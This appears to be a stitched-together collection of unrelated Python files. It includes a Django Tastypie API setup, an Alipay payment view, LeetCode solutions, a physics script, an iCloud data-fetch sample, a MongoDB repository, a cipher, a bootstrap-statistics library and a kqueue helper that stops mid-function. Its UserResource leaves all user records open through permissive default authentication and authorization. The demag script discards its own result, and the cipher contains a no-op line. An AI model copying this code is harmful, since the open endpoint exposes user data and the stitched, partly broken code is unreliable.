# -*- coding: UTF-8 -*-
from tastypie.resources import ALL
from tastypie.api import Api
from tastypie import fields
from tastypie.cache import SimpleCache
from tastypie.authentication import Authentication
from tastypie.authorization import Authorization

from glynt.apps.api.models import BaseApiModelResource

from django.contrib.auth.models import User

from cities_light.models import (City, Region)

from glynt.apps.lawyer.api import (_lawyer_profile, LawyerResource)

from glynt.apps.customer.api import _customer_profile

from glynt.apps.company.api import (CompanyLiteSimpleResource,
                                    CompanyBasicProfileResource,
                                    CompanyDataBagResource)

from glynt.apps.project.api import (ProjectResource,
                                    ProjectDataBagResource,
                                    ProjectLawyerResource,
                                    ProjectChecklistSortResource,
                                    ProjectChecklistCategoriesSortResource)

from glynt.apps.todo.api import (UserToDoCountResource, AttachmentResource,
                                ToDoResource, FeedbackRequestResource)

V1_INTERNAL_API = Api(api_name='v1')

class UserLoggedInAuthorization(Authorization):
    """
    authorized_read_list is deprecated so made a custom Authorization class
    """
    def read_list(self, object_list, bundle):
        if not bundle.request.user.is_authenticated():
            return []
        else:
            return object_list.filter(customer=bundle.request.user.customer_profile)

class LocationSimpleResource(BaseApiModelResource):
    name = fields.CharField(attribute='name', null=True)
    region = fields.CharField(attribute='region__name', null=True)

    class Meta(BaseApiModelResource.Meta):
        queryset = City.objects.prefetch_related('region').all()
        authentication = Authentication()
        list_allowed_methods = ['get']
        resource_name = 'location/lite'
        fields = ['name', 'region']
        filtering = {
            'name': ALL,
        }
        cache = SimpleCache()

    def dehydrate(self, bundle):
        name = bundle.data.get('name', None)
        region = bundle.data.get('region', None)
        bundle.data.pop('name')
        bundle.data.pop('region')
        bundle.data.update({'name': '%s, %s' % (name, region)})
        return bundle

class StateSimpleResource(BaseApiModelResource):
    name = fields.CharField(attribute='display_name', null=True)

    class Meta(BaseApiModelResource.Meta):
        # Only filter by USA, allow freeform for others
        queryset = Region.objects.filter()
        authentication = Authentication()
        list_allowed_methods = ['get']
        resource_name = 'state/lite'
        fields = ['display_name', ]
        filtering = {
            'name': ALL,
        }
        cache = SimpleCache()

class UserResource(BaseApiModelResource):
    class Meta(BaseApiModelResource.Meta):
        # Only filter by USA, allow freeform for others
        queryset = User.objects.all()
        authentication = Authentication()
        authorization = Authorization()
        resource_name = 'users'
        filtering = {
            'username': ALL,
        }
        cache = SimpleCache()

class UserBasicProfileResource(BaseApiModelResource):
    name = fields.CharField(attribute='get_full_name', null=True)

    class Meta(BaseApiModelResource.Meta):
        # Only filter by USA, allow freeform for others
        queryset = User.objects.select_related('profile').filter(is_active=True)
        authentication = Authentication()
        list_allowed_methods = ['get']
        resource_name = 'user/profile'
        fields = ['pk', 'username', 'is_active', 'last_login']
        filtering = {
            'username': ALL,
        }
        cache = SimpleCache()

    def dehydrate(self, bundle):
        bundle.data.update({
            'is_lawyer': bundle.obj.profile.is_lawyer,
            'is_customer': bundle.obj.profile.is_customer,
            'profile_photo': bundle.obj.profile.get_mugshot_url(),
            'profile_url': None,
        })
        bundle.data.update(_lawyer_profile(bundle))
        bundle.data.update(_customer_profile(bundle))
        return bundle

""" Register the api resources """
V1_INTERNAL_API.register(UserResource())
V1_INTERNAL_API.register(LocationSimpleResource())
V1_INTERNAL_API.register(StateSimpleResource())
V1_INTERNAL_API.register(UserBasicProfileResource())
V1_INTERNAL_API.register(CompanyLiteSimpleResource())
V1_INTERNAL_API.register(CompanyBasicProfileResource())
V1_INTERNAL_API.register(CompanyDataBagResource())

V1_INTERNAL_API.register(UserToDoCountResource())
V1_INTERNAL_API.register(AttachmentResource())
V1_INTERNAL_API.register(ToDoResource())
V1_INTERNAL_API.register(FeedbackRequestResource())
V1_INTERNAL_API.register(LawyerResource())

V1_INTERNAL_API.register(ProjectLawyerResource())
V1_INTERNAL_API.register(ProjectDataBagResource())
V1_INTERNAL_API.register(ProjectChecklistSortResource())
V1_INTERNAL_API.register(ProjectChecklistCategoriesSortResource())
V1_INTERNAL_API.register(ProjectResource())


from django.shortcuts import render
from rest_framework.views import APIView
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
from rest_framework import status
from alipay import AliPay
from django.conf import settings
import os

from orders.models import OrderInfo
from .models import Payment

# Create your views here.
class PaymentView(APIView):
    """生成支付链接"""

    permission_classes = [IsAuthenticated]

    def get(self, request, order_id):

        # 获取当前的请求用户对象
        user = request.user

        # 校验订单的有效性
        try:
            order_model = OrderInfo.objects.get(order_id=order_id, user=user,
                                                status=OrderInfo.ORDER_STATUS_ENUM['UNPAID'])
        except OrderInfo.DoesNotExist:
            return Response({'message': '订单有误'}, status=status.HTTP_400_BAD_REQUEST)

        # 支付宝
        # ALIPAY_APPID = '2016091900551154'
        # ALIPAY_DEBUG = True
        # ALIPAY_URL = 'https://openapi.alipaydev.com/gateway.do'
        # 创建alipay  SDK中提供的支付对象
        alipay = AliPay(
            appid=settings.ALIPAY_APPID,
            app_notify_url=None,  # 默认回调url
            app_private_key_path=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'keys/app_private_key.pem'),
            # 指定应用自己的私钥文件绝对路径
            alipay_public_key_path=os.path.join(os.path.dirname(os.path.abspath(__file__)),
                                                'keys/alipay_public_key.pem'),  # 指定支付宝公钥文件的绝对路径
            sign_type="RSA2",  # RSA 或者 RSA2  加密方式推荐使用RSA2
            debug=settings.ALIPAY_DEBUG  # 默认False
        )

        # 调用SDK的方法得到支付链接后面的查询参数
        # 电脑网站支付，需要跳转到https://openapi.alipay.com/gateway.do? + order_string
        order_string = alipay.api_alipay_trade_page_pay(
            out_trade_no=order_id,  # 马上要支付的订单编号
            total_amount=str(order_model.total_amount),  # 支付总金额, 它不认识Decimal 所以这里一定要转换类型
            subject='美多商城%s' % order_id,  # 标题
            return_url="http://www.meiduo.site:8080/pay_success.html",  # 支付成功后的回调url
        )

        # 拼接好支付链接
        # 电脑网站支付，需要跳转到https://openapi.alipay.com/gateway.do? + order_string
        # 电脑网站支付，需要跳转到https://openapi.alipay.com/gateway.do?order_id=xxx&xxx=abc
        # 沙箱环境支付链接 :  https://openapi.alipaydev.com/gateway.do? + order_string
        # 真实环境支付链接 :  https://openapi.alipay.com/gateway.do? + order_string
        alipay_url = settings.ALIPAY_URL + '?' + order_string
        # 响应
        return Response({'alipay_url': alipay_url})

class PaymentStatusView(APIView):
    """修改订单状态,保存支付宝交易号"""

    def put(self, request):

        # 获取前端以查询字符串方式传入的数据
        queryDict = request.query_params
        # 将queryDict类型转换成字典(要将中间的sign 从里面移除,然后进行验证)
        data = queryDict.dict()
        # 将sign这个数据从字典中移除
        sign = data.pop('sign')

        # 创建alipay支付宝对象
        alipay = AliPay(
            appid=settings.ALIPAY_APPID,
            app_notify_url=None,  # 默认回调url
            app_private_key_path=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'keys/app_private_key.pem'),
            # 指定应用自己的私钥文件绝对路径
            alipay_public_key_path=os.path.join(os.path.dirname(os.path.abspath(__file__)),
                                                'keys/alipay_public_key.pem'),  # 指定支付宝公钥文件的绝对路径
            sign_type="RSA2",  # RSA 或者 RSA2  加密方式推荐使用RSA2
            debug=settings.ALIPAY_DEBUG  # 默认False
        )

        # 调用alipay SDK中  的verify方法进行验证支付结果是否支付宝回传回来的
        success = alipay.verify(data, sign)
        if success:
            # 取出美多商城订单编号  再取出支付宝交易号
            order_id = data.get('out_trade_no')  # 美多订单编号
            trade_no = data.get('trade_no')  # 支付宝交易号
            # 把两个编号绑定到一起存储mysql
            Payment.objects.create(
                order_id=order_id,
                trade_id=trade_no
            )
            # 修改支付成功后的订单状态
            OrderInfo.objects.filter(order_id=order_id, status=OrderInfo.ORDER_STATUS_ENUM['UNPAID']).update(
                status=OrderInfo.ORDER_STATUS_ENUM['UNSEND'])
        else:
            return Response({'message': '非法请求'}, status=status.HTTP_403_FORBIDDEN)

        # 把支付宝交易响应回给前端
        return Response({'trade_id': trade_no})


"""
question:
https://leetcode.com/problems/recover-binary-search-tree/
"""
from typing import Optional

from tree.binary_tree import TreeNode, create_tree, is_same_tree

class Solution:
    def recoverTree(self, root: Optional[TreeNode]) -> None:
        """
        Do not return anything, modify root in-place instead.
        """
        stack = []

        vals = []
        node = root
        while stack or node:
            while node:
                stack.append(node)
                node = node.left
            node = stack.pop()
            vals.append(node.val)
            node = node.right

        vals.sort()
        node = root
        i = 0
        while stack or node:
            while node:
                stack.append(node)
                node = node.left
            node = stack.pop()
            node.val = vals[i]
            i += 1
            node = node.right

    def recoverTree2(self, root: Optional[TreeNode]) -> None:
        """
        Do not return anything, modify root in-place instead.
        """
        first = None
        second = None
        prev = TreeNode(float('-inf'))

        def traversal(curr):
            nonlocal first, second, prev

            if curr is None:
                return
            traversal(curr.left)

            if first is None and prev.val >= curr.val:
                first = prev
            if first and prev.val >= curr.val:
                second = curr
            prev = curr

            traversal(curr.right)

        traversal(root)
        first.val, second.val = second.val, first.val

    def recoverTree3(self, root: Optional[TreeNode]) -> None:
        """
        Do not return anything, modify root in-place instead.
        """
        prev, curr = TreeNode(float('-inf')), root
        first = second = None
        stack = []

        while stack or curr:
            while curr:
                stack.append(curr)
                curr = curr.left
            curr = stack.pop()

            if prev.val > curr.val:
                if first is None:
                    first = prev
                second = curr
            prev = curr

            curr = curr.right

        first.val, second.val = second.val, first.val

if __name__ == '__main__':
    t1 = create_tree([1, 3, None, None, 2])
    t2 = create_tree([3, 1, None, None, 2])
    Solution().recoverTree2(t1)
    assert is_same_tree(t1, t2)

    t1 = create_tree([3, 1, 4, None, None, 2])
    t2 = create_tree([2, 1, 4, None, None, 3])
    Solution().recoverTree2(t1)
    assert is_same_tree(t1, t2)


import numpy as np
from math import asinh, atan, sqrt, pi

v = 1
def set_n_demag(c, permute, func, n_demag, dx):
    global v
    it = np.nditer(n_demag[:, :, :, c], flags=['multi_index'], op_flags=['writeonly'])
    j = 0
    while not it.finished:
        #print(it.multi_index)
        value = 0.0

        for i in np.rollaxis(np.indices((2,) * 6), 0, 7).reshape(64, 6):
            idx = list(map(lambda k: (it.multi_index[k] + n[k] - 1) % (2 * n[k] - 1) - n[k] + 1, range(3)))

            value += (-1) ** sum(i) * func(list(map(lambda j: (idx[j] + i[j] - i[j + 3]) * dx[j], permute)))

        value=v
        #it[0] = - value / (4 * pi * np.prod(dx))
        it[0] = value
        it.iternext()
        j += 1
    v = v + 1

def identity(p):
    return 1

f = identity
g = identity

def calculate_demag_tensor(n, dx):
    print("Calculating the demagnetization tensor")
    n_demag = np.zeros([2 * i - 1 for i in n] + [6])

    for i, t in enumerate(((f, 0, 1, 2), (g, 0, 1, 2), (g, 0, 2, 1), (f, 1, 2, 0), (g, 1, 2, 0), (f, 2, 0, 1))):
        set_n_demag(i, t[1:], t[0], n_demag=n_demag, dx=dx)
    return n_demag

n     = (20, 10, 1)
dx    = (5e-9, 5e-9, 3e-9)
n_demag = calculate_demag_tensor(n ,dx)
print(n_demag)


import copy

import globals as gl

from Board import Board

class Computer (Board):
    def __init__ (self, board):
        self.board = board.board
        self.player = board.player

    def makeMove (self, board):
        backup = self.backup ()
        while not self._applyMove ():
            self.move = []
            self.move.append (self._randomMove ())
            self.move.append (self._randomMove ())
            print ('\n')
        self.restore (backup)

        return self.move


import json

from .icloud_sample import SampleICloudApplication

from .. import utils

class SampleLiveICloudApplication(SampleICloudApplication):
    display_name = 'Sample Live Data Application'

    def run(self):
        # Register the account for the iCloud service.
        self.client.register_account(self.account)
        # Attempt to login to the account.
        self.log_in()
        # Choose a data type and retrieve it.
        self.fetch_data()
        # Wait for any pending tasks to complete
        self.client.wait_for_pending_tasks()
        utils.info_message('All tasks completed')

    def fetch_data(self):
        """Prompt for a data type choice and execute the `fetch_data` task.
        The results are saved to a file in json format.
        """
        choices = self.available_data
        choices.insert(0, 'All')

        selected_data_type = utils.select_item(
            choices,
            'Please select what data to fetch:',
            'Available data:',
        )

        if selected_data_type == 'All':
            selected_data_type = ','.join(self.available_data)

        utils.pending_message('Performing fetch data task...')

        fetch_data_task = self.client.data(
            account=self.account,
            data=selected_data_type,
        )

        # Wait here for result as rest of sample app relies on it.
        fetch_data_task.wait_for_result(timeout=self.timeout)
        fetch_data_result = json.loads(fetch_data_task.result)

        # Write the result to file.
        task_id = fetch_data_task.uuid
        filepath = utils.get_or_create_filepath('%s.json' % task_id)

        with open(filepath, 'w') as out:
            json.dump(fetch_data_result, out, indent=2)

        utils.info_message('Fetch data successful. Output file: %s.json' % task_id)

        return fetch_data_result

    @property
    def available_data(self):
        live_feeds = [
            'location',
            'mobileme_contacts',
            'web_browser_history',
            'live_call_history',
            'live_photos',
        ]
        return [c for c in self.client.available_data
                if c in live_feeds]


from pymongo.results import InsertOneResult
from pymongo.results import DeleteResult
from lib.models.environment import Env
from lib.repositories.repo import Repository
from typing import Union

class EnvRepository(Repository):
    """
    Environment repository

    Init Attributes:
        environment: Env object
        env_id: Environment id

    Enables CRUD operations on environment objects
    """

    def __init__(self, environment: Env = None, env_id: str = None):
        super().__init__("environments")
        self.environment = environment
        if env_id:
            self.env_id = env_id
        else:
            self.env_id = self.environment.__hash__()

    def __del__(self):
        super().__del__()

    async def create_env(self) -> "InsertOneResult":
        """
        Creates a environment in the database

        Args:
            rocketpy_env: rocketpy environment object

        Returns:
            InsertOneResult: result of the insert operation
        """
        if not await self.get_env():
            try:
                environment_to_dict = self.environment.dict()
                environment_to_dict["env_id"] = self.env_id
                return await self.collection.insert_one(environment_to_dict)
            except:
                raise Exception("Error creating environment")
        return InsertOneResult( acknowledged=True, inserted_id=None )

    async def update_env(self) -> "Union[int, None]":
        """
        Updates a environment in the database

        Returns:
            int: environment id
        """
        try:
            environment_to_dict = self.environment.dict()
            environment_to_dict["env_id"] = self.environment.__hash__()

            await self.collection.update_one(
                { "env_id": self.env_id },
                { "$set": environment_to_dict }
            )

            self.env_id = environment_to_dict["env_id"]
            return self.env_id
        except:
            raise Exception("Error updating environment")

    async def get_env(self) -> "Union[Env, None]":
        """
        Gets a environment from the database

        Returns:
            models.Env: Model environment object
        """
        try:
            environment = await self.collection.find_one({ "env_id": self.env_id })
            if environment is not None:
                return Env.parse_obj(environment)
            return None
        except:
            raise Exception("Error getting environment")

    async def delete_env(self) -> "DeleteResult":
        """
        Deletes a environment from the database

        Returns:
            DeleteResult: result of the delete operation
        """
        try:
            return await self.collection.delete_one({ "env_id": self.env_id })
        except:
            raise Exception("Error deleting environment")


def message(chaine,mode):
    """
    pre
    :param chaine: une chaine de charactère de type string
    :param mode: un charactère string "c" (crypter) ou "d" (décripter) pour déterminer quel mode est choisi
    post : retourne une chaine de charactere string remplissant les conditions suivantes :
        - chaque lettre a été remplacée par la lettre se trouvant deux places vers la gauche dans l'alphabet (C=A)
        - les lettres spéciales telles que é, à, è sont considérées comme des lettres normales avant d'ếtre remplaçée
        - les chiffres restent inchangés et les espaces sont ignorés
    """
    global new_lettre
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    speciaux = "éèêëôöàâäùç"
    trad = "eeeeooaaauc"
    new_chaine = ""
    chaine == chaine.lower()
    for char in chaine:
        # si c'est une lettre normale
        if char in alphabet:
            if mode == "c":
                new_lettre = alphabet[alphabet.index(char)-2]
            elif mode == "d":
                if char == "z":
                    new_lettre = "b"
                elif char == "y":
                    new_lettre = "a"
                else:
                    new_lettre = alphabet[alphabet.index(char)+2]
        elif char.lower() in alphabet:
            char = char.lower()
            if mode == "c":
                new_lettre = alphabet[alphabet.index(char)-2]
            elif mode == "d":
                if char == "z":
                    new_lettre = "B"
                elif char == "y":
                    new_lettre = "A"
                else:
                    new_lettre = alphabet[alphabet.index(char)+2]
            new_lettre = new_lettre.upper()
        # si c'est un charactere spécial
        elif char in speciaux:
            modif = trad[speciaux.index(char)]
            if mode == "c":
                new_lettre = alphabet[alphabet.index(modif)-2]
            elif mode == "d":
                new_lettre = alphabet[alphabet.index(modif)+2]
        # si c'est un nombre ou autre chose
        else:
            new_lettre = char
        new_chaine += str(new_lettre)
    return new_chaine


from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import numpy as _np
import multiprocessing as _multiprocessing
import scipy.sparse as _sparse

class BootstrapResults(object):
    def __init__(self, lower_bound, value, upper_bound):
        self.lower_bound = lower_bound
        self.upper_bound = upper_bound
        self.value = value
        if self.lower_bound > self.upper_bound:
            self.lower_bound, self.upper_bound = self.upper_bound, self.lower_bound

    def __str__(self):
        return '{1}    ({0}, {2})'.format(self.lower_bound, self.value,
                                          self.upper_bound)

    def __repr__(self):
        return self.__str__()

    def _apply(self, other, func):
        return BootstrapResults(func(self.lower_bound, other),
                                func(self.value, other),
                                func(self.upper_bound, other))

    def __add__(self, other):
        return self._apply(float(other), lambda x, other: other + x)

    def __radd__(self, other):
        return self._apply(float(other), lambda x, other: other + x)

    def __sub__(self, other):
        return self._apply(float(other), lambda x, other: x - other)

    def __rsub__(self, other):
        return self._apply(float(other), lambda x, other: other - x)

    def __mul__(self, other):
        return self._apply(float(other), lambda x, other: x * other)

    def __rmul__(self, other):
        return self._apply(float(other), lambda x, other: x * other)

    def error_width(self):
        '''Returns: upper_bound - lower_bound'''
        return self.upper_bound - self.lower_bound

    def error_fraction(self):
        '''Returns the error_width / value'''
        if self.value == 0:
            return _np.inf
        else:
            return self.error_width() / self.value

    def is_significant(self):
        return _np.sign(self.upper_bound) == _np.sign(self.lower_bound)

    def get_result(self):
        '''Returns:
            -1 if statistically significantly negative
            +1 if statistically significantly positive
            0 otherwise
        '''
        return int(self.is_significant()) * _np.sign(self.value)

def _get_confidence_interval(bootstrap_dist, stat_val, alpha, is_pivotal):
    '''Get the bootstrap confidence interval for a given distribution.
    Args:
        bootstrap_distribution: numpy array of bootstrap results from
            bootstrap_distribution() or bootstrap_ab_distribution()
        stat_val: The overall statistic that this method is attempting to
            calculate error bars for.
        alpha: The alpha value for the confidence intervals.
        is_pivotal: if true, use the pivotal method. if false, use the
            percentile method.
    '''
    if is_pivotal:
        low = 2 * stat_val - _np.percentile(bootstrap_dist, 100 * (1 - alpha / 2.))
        val = stat_val
        high = 2 * stat_val - _np.percentile(bootstrap_dist, 100 * (alpha / 2.))
    else:
        low = _np.percentile(bootstrap_dist, 100 * (alpha / 2.))
        val = _np.percentile(bootstrap_dist, 50)
        high = _np.percentile(bootstrap_dist, 100 * (1 - alpha / 2.))

    return BootstrapResults(low, val, high)

def _needs_sparse_unification(values_lists):
    non_zeros = values_lists[0] != 0

    for v in values_lists:
        v_nz = v != 0
        non_zeros = (non_zeros + v_nz) > 0

    non_zero_size = non_zeros.sum()

    for v in values_lists:
        if non_zero_size != v.data.shape[0]:
            return True

    return False

def _validate_arrays(values_lists):
    t = values_lists[0]
    t_type = type(t)
    if not isinstance(t, _sparse.csr_matrix) and not isinstance(t, _np.ndarray):
        raise ValueError(('The arrays must either be of type '
                          'scipy.sparse.csr_matrix or numpy.array'))

    for _, values in enumerate(values_lists[1:]):
        if not isinstance(values, t_type):
            raise ValueError('The arrays must all be of the same type')

        if t.shape != values.shape:
            raise ValueError('The arrays must all be of the same shape')

        if isinstance(t, _sparse.csr_matrix):
            if values.shape[0] > 1:
                raise ValueError(('The sparse matrix must have shape 1 row X N'
                                  ' columns'))

    if isinstance(t, _sparse.csr_matrix):
        if _needs_sparse_unification(values_lists):
            raise ValueError(('The non-zero entries in the sparse arrays'
                              ' must be aligned: see '
                              'bootstrapped.unify_sparse_vectors function'))

def _generate_distributions(values_lists, num_iterations):

    if isinstance(values_lists[0], _sparse.csr_matrix):
        # in the sparse case we dont actually need to bootstrap
        # the full sparse array since most values are 0
        # instead for each bootstrap iteration we:
        #    1. generate B number of non-zero entries to sample from the
        #          binomial distribution
        #    2. resample with replacement the non-zero entries from values
        #          B times
        #    3. create a new sparse array with the B resamples, zero otherwise
        results = [[] for _ in range(len(values_lists))]

        pop_size = values_lists[0].shape[1]
        non_sparse_size = values_lists[0].data.shape[0]

        p = non_sparse_size * 1.0 / pop_size

        for _ in range(num_iterations):
            ids = _np.random.choice(
                non_sparse_size,
                _np.random.binomial(pop_size, p),
                replace=True,
            )

            for arr, values in zip(results, values_lists):
                data = values.data
                d = _sparse.csr_matrix(
                    (
                        data[ids],
                        (_np.zeros_like(ids), _np.arange(len(ids)))
                    ),
                    shape=(1, pop_size),
                )

                arr.append(d)
        return [_sparse.vstack(r) for r in results]

    else:
        values_shape = values_lists[0].shape[0]
        ids = _np.random.choice(
            values_shape,
            (num_iterations, values_shape),
            replace=True,
        )

        results = [values[ids] for values in values_lists]
        return results

def _bootstrap_sim(values_lists, stat_func_lists, num_iterations,
                   iteration_batch_size, seed):
    '''Returns simulated bootstrap distribution.
    See bootstrap() funciton for arg descriptions.
    '''

    if seed is not None:
        _np.random.seed(seed)

    num_iterations = int(num_iterations)
    iteration_batch_size = int(iteration_batch_size)

    results = [[] for _ in values_lists]

    for rng in range(0, num_iterations, iteration_batch_size):
        max_rng = min(iteration_batch_size, num_iterations - rng)

        values_sims = _generate_distributions(values_lists, max_rng)

        for i, values_sim, stat_func in zip(range(len(values_sims)), values_sims, stat_func_lists):
            results[i].extend(stat_func(values_sim))

    return _np.array(results)

def _bootstrap_distribution(values_lists, stat_func_lists,
                            num_iterations, iteration_batch_size, num_threads):

    '''Returns the simulated bootstrap distribution. The idea is to sample the same
        indexes in a bootstrap re-sample across all arrays passed into values_lists.

        This is especially useful when you want to co-sample records in a ratio metric.
            numerator[k].sum() / denominator[k].sum()
        and not
            numerator[ j ].sum() / denominator[k].sum()
    Args:
        values_lists: list of numpy arrays (or scipy.sparse.csr_matrix)
            each represents a set of values to bootstrap. All arrays in values_lists
            must be of the same length.
        stat_func_lists: statistic to bootstrap for each element in values_lists.
        num_iterations: number of bootstrap iterations / resamples / simulations
            to perform.
        iteration_batch_size: The bootstrap sample can generate very large
            matrices. This argument limits the memory footprint by
            batching bootstrap rounds. If unspecified the underlying code
            will produce a matrix of len(values) x num_iterations. If specified
            the code will produce sets of len(values) x iteration_batch_size
            (one at a time) until num_iterations have been simulated.
            Defaults to no batching.
        num_threads: The number of therads to use. This speeds up calculation of
            the bootstrap. Defaults to 1. If -1 is specified then
            multiprocessing.cpu_count() is used instead.
    Returns:
        The set of bootstrap resamples where each stat_function is applied on
        the bootsrapped values.
    '''

    _validate_arrays(values_lists)

    if iteration_batch_size is None:
        iteration_batch_size = num_iterations

    num_iterations = int(num_iterations)
    iteration_batch_size = int(iteration_batch_size)

    num_threads = int(num_threads)

    if num_threads == -1:
        num_threads = _multiprocessing.cpu_count()

    if num_threads <= 1:
        results = _bootstrap_sim(values_lists, stat_func_lists,
                                 num_iterations, iteration_batch_size, None)
    else:
        pool = _multiprocessing.Pool(num_threads)

        iter_per_job = _np.ceil(num_iterations * 1.0 / num_threads)

        results = []
        for seed in _np.random.randint(0, 2**32 - 1, num_threads):
            r = pool.apply_async(_bootstrap_sim, (values_lists, stat_func_lists,
                                 iter_per_job,
                                 iteration_batch_size, seed))
            results.append(r)

        results = _np.hstack([res.get() for res in results])

        pool.close()

    return results

def bootstrap(values, stat_func, denominator_values=None, alpha=0.05,
              num_iterations=10000, iteration_batch_size=10, is_pivotal=True,
              num_threads=1, return_distribution=False):
    '''Returns bootstrap estimate.
    Args:
        values: numpy array (or scipy.sparse.csr_matrix) of values to bootstrap
        stat_func: statistic to bootstrap. We provide several default functions:
                * stat_functions.mean
                * stat_functions.sum
                * stat_functions.std
        denominator_values: optional array that does division after the
            statistic is aggregated. This lets you compute group level division
            statistics. One corresponding entry per record in @values.
            Example:
                SUM(value) / SUM(denom) instead of MEAN(value / denom)

                Ex. Cost Per Click
                cost per click across a group
                    SUM(revenue) / SUM(clicks)
                mean cost per click for each
                    MEAN(revenue / clicks)
        alpha: alpha value representing the confidence interval.
            Defaults to 0.05, i.e., 95th-CI.
        num_iterations: number of bootstrap iterations to run. The higher this
            number the more sure you can be about the stability your bootstrap.
            By this - we mean the returned interval should be consistent across
            runs for the same input. This also consumes more memory and makes
            analysis slower. Defaults to 10000.
        iteration_batch_size: The bootstrap sample can generate very large
            matrices. This argument limits the memory footprint by
            batching bootstrap rounds. If unspecified the underlying code
            will produce a matrix of len(values) x num_iterations. If specified
            the code will produce sets of len(values) x iteration_batch_size
            (one at a time) until num_iterations have been simulated.
            Defaults to 10. Passing None will calculate the full simulation in one step.
        is_pivotal: if true, use the pivotal method for bootstrapping confidence
            intervals. If false, use the percentile method.
        num_threads: The number of therads to use. This speeds up calculation of
            the bootstrap. Defaults to 1. If -1 is specified then
            multiprocessing.cpu_count() is used instead.
    Returns:
        BootstrapResults representing CI and estimated value.
    '''
    if denominator_values is None:
        values_lists = [values]
        stat_func_lists = [stat_func]

        def do_division(x):
            return x

        stat_val = stat_func(values)[0]
    else:
        values_lists = [values, denominator_values]
        stat_func_lists = [stat_func] * 2

        def do_division(num, denom):
            return num / denom

        stat_val = stat_func(values)[0] / stat_func(denominator_values)[0]

    distribution_results = _bootstrap_distribution(values_lists,
                                                   stat_func_lists,
                                                   num_iterations,
                                                   iteration_batch_size,
                                                   num_threads)

    bootstrap_dist = do_division(*distribution_results)

    if return_distribution:
        return bootstrap_dist
    else:
        return _get_confidence_interval(bootstrap_dist, stat_val, alpha,
                                        is_pivotal)

def bootstrap_ab(test, ctrl, stat_func, compare_func, test_denominator=None,
                 ctrl_denominator=None, alpha=0.05, num_iterations=10000,
                 iteration_batch_size=10, scale_test_by=1.0,
                 is_pivotal=True, num_threads=1, return_distribution=False):
    '''Returns bootstrap confidence intervals for an A/B test.
    Args:
        test: numpy array (or scipy.sparse.csr_matrix) of test results
        ctrl: numpy array (or scipy.sparse.csr_matrix) of ctrl results
        stat_func: statistic to bootstrap. We provide several default functions:
                * stat_functions.mean
                * stat_functions.sum
                * stat_functions.std
        compare_func: Function to compare test and control against.
                * compare_functions.difference
                * compare_functions.percent_change
                * compare_functions.ratio
                * compare_functions.percent_difference
        test_denominator: optional array that does division after the statistic
            is aggregated. This lets you compute group level division
            statistics. One corresponding entry per record in test.
            Example:
                SUM(value) / SUM(denom) instead of MEAN(value / denom)
                Ex. Cost Per Click
                cost per click across a group  (clicks is denominator)
                    SUM(revenue) / SUM(clicks)
                mean cost per click for each record
                    MEAN(revenue / clicks)
        ctrl_denominator: see test_denominator.
        alpha: alpha value representing the confidence interval.
            Defaults to 0.05, i.e., 95th-CI.
        num_iterations: number of bootstrap iterations to run. The higher this
            number the more sure you can be about the stability your bootstrap.
            By this - we mean the returned interval should be consistent across
            runs for the same input. This also consumes more memory and makes
            analysis slower.
        iteration_batch_size: The bootstrap sample can generate very large
            arrays. This function iteration_batch_size limits the memory
            footprint by batching bootstrap rounds. Defaults to 10. Passing None
            will attempt to calculate the full simulation in one step.
        scale_test_by: The ratio between test and control population
            sizes. Use this if your test and control split is different from a
            50/50 split. Defaults to 1.0.
        is_pivotal: if true, use the pivotal method for bootstrapping confidence
            intervals. If false, use the percentile method.
        num_threads: The number of therads to use. This speeds up calculation of
            the bootstrap. Defaults to 1. If -1 is specified then
            multiprocessing.cpu_count() is used instead.
    Returns:
        BootstrapResults representing CI and estimated value.
    '''

    both_denominators = test_denominator is not None and \
            ctrl_denominator is not None
    both_numerators = test is not None and ctrl is not None

    if both_numerators and not both_denominators:
        test_lists = [test]
        ctrl_lists = [ctrl]
        stat_func_lists = [stat_func]

        def do_division(x):
            return x

        test_val = stat_func(test)[0]
        ctrl_val = stat_func(ctrl)[0]

    elif both_numerators and both_denominators:
        test_lists = [test, test_denominator]
        ctrl_lists = [ctrl, ctrl_denominator]
        stat_func_lists = [stat_func] * 2

        def do_division(num, denom):
            return num / denom

        test_val = stat_func(test)[0] / stat_func(test_denominator)[0]
        ctrl_val = stat_func(ctrl)[0] / stat_func(ctrl_denominator)[0]

    elif not both_numerators:
        raise ValueError('Both test and ctrl numerators must be specified.')
    else:
        raise ValueError('Both test and ctrl denominators must be specified.')

    test_results = _bootstrap_distribution(test_lists, stat_func_lists,
                                           num_iterations, iteration_batch_size,
                                           num_threads)

    ctrl_results = _bootstrap_distribution(ctrl_lists, stat_func_lists,
                                           num_iterations, iteration_batch_size,
                                           num_threads)

    test_dist = do_division(*test_results)
    ctrl_dist = do_division(*ctrl_results)

    test_ctrl_dist = compare_func(test_dist * scale_test_by, ctrl_dist)

    if return_distribution:
        return test_ctrl_dist
    else:

        test_ctrl_val = compare_func(test_val * scale_test_by, ctrl_val)
        return _get_confidence_interval(test_ctrl_dist, test_ctrl_val, alpha,
                                        is_pivotal)


from __future__ import annotations

import select
import sys
from typing import TYPE_CHECKING

from .. import _core, _subprocess

assert (sys.platform != "win32" and sys.platform != "linux") or not TYPE_CHECKING

async def wait_child_exiting(process: _subprocess.Process) -> None:
    kqueue = _core.current_kqueue()
    try:
        from select import KQ_NOTE_EXIT
    except ImportError:  # pragma: no cover
        # pypy doesn't define KQ_NOTE_EXIT:
        # https://bitbucket.org/pypy/pypy/issues/2921/
        # I verified this value against both Darwin and FreeBSD
        KQ_NOTE_EXIT = 0x80000000

    def make_event(flags: int) -> select.kevent:
        return select.kevent(
            process.pid, filter=select.KQ_FILTER_PROC, flags=flags, fflags=KQ_NOTE_EXIT
        )

    try:
        kqueue.control([make_event(select.KQ_EV_ADD | select.KQ_EV_ONESHOT)], 0)
    except ProcessLookupError:  # pragma: no cover
        # This can supposedly happen if the process is in the process
        # of exiting, and it can even be the case that kqueue says the
        # process doesn't exist before waitpid(WNOHANG) says it hasn't
        # exited yet. See the discussion in https://chromium.googlesource.com/
        # chromium/src/base/+/master/process/kill_mac.cc .
        # We haven't actually seen this error occur since we added
        # locking to prevent multiple calls to wait_child_exiting()
        # for the same process simultaneously, but given the explanation
        # in Chromium it seems we should still keep the check.
        return

    def abort(_: _core.RaiseCancelT) -> _core.Abort:
